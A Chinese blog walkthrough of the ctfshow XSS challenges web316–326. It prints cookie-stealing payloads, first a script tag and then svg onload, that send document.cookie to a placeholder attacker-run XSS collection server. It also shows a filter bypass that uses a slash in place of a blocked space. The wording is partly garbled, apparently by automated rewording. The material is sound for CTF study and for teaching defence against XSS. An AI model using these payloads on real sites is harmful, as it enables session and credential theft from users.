别怕宝贝ctfshow--xss web316-326一命速通(一payload速通)

前言

  

欢迎来到我的博客

  

个人主页:北岭敲键盘的荒野猫-CSDN博客

  

  

  

本文整理ctfshow中的xss部门靶场通关攻略

 

web316

打开靶场一个对话框

 经测试有xss毛病，而且没啥过滤。

思量xss偷取cookie的利用。
发起在服务器上搭建蓝莲花xss平台
   payload：
  <script>window.location.href='http://服务器蓝莲花地点/index.php?c='+document.cookie</scrip>
  然后靶场背景就会有呆板人访问，我们就能收到cookie，而flag就在cookie中。
须要革新平台页面才气看到收到的消息。

 拿去提交美满~

web317

打开页面照旧千篇划一

测试这个输入框发现，这个输入框是不能输入script的。
那么我们就无法使用<script>标签了。
这里就使用其他的标签来办理即可。
这里使用<img>标签失败，可以触发但是拿不到cookie，由于是呆板人利用大概有毛病img无法获取。
以是
   payload:
  <svg onload=window.location.href='http://蓝莲花地点/index.php?c='+document.cookie;>
  然后就获取cookie里的flag了。

web318

打开界面

好家伙仍旧是一个界面
然后。。。不知道这题咋样，反正上一题的谁人payload没标题直接出结果。

web319

打开标题仍旧是雷同的页面

嘶也没咋测试照旧上一个payload给处理惩罚了。。。

web320

打开跟上面界面千篇划一
这关有说法上关谁人payload就无法实行了。
先分析一下他都禁用了些什么。
对上面谁人payload一顿测试，发现他没有过滤其他的词，仅仅过滤了空格。

   那么我们的思绪就酿成为
  使用无空格的标签
  使用符号取代空格
  在前端可以使用/来取代空格以是只须要略微改一下payload即可。
   payload:
  <svg/onload=window.location.href='http://蓝莲花地点/index.php?c='+document.cookie;>
   乐成获取cookie以及flag

web321

打开界面
照旧老样。
然后上一个payload放进去看看。
   <svg/onload=window.location.href='http://蓝莲花地点/index.php?c='+document.cookie;>
   行又给秒了。

下一题。

web322

打开页面照旧千篇划一懒得截图了。
照旧一样的利用，上上把的payload放上瞅一眼。
   <svg/onload=window.location.href='http://蓝莲花地点/index.php?c='+document.cookie;>
  啧，唉真没寻衅性，丫的又给秒了。。。。
下一题下一题

web323

界面照旧如出一辙
测测上上上前次的payload
   <svg/onload=window.location.href='http://蓝莲花地点/index.php?c='+document.cookie;>
  行了，又给秒了。
一招鲜吃遍天了。
(以是他到底过滤了啥。。。)

web324

打开不看也是千篇划一
仍旧是雷同的payload来一波
   <svg/onload=window.location.href='http://蓝莲花地点/index.php?c='+document.cookie;>
  依然给他秒了。。。。

web325

一样的payload一样的通关。
不想多吐槽了。

web326

一样秒
不吐槽

嗯很好，
原来开局用一个payload就能买通11关，嗯不错不错。。。。
我靠我的钱。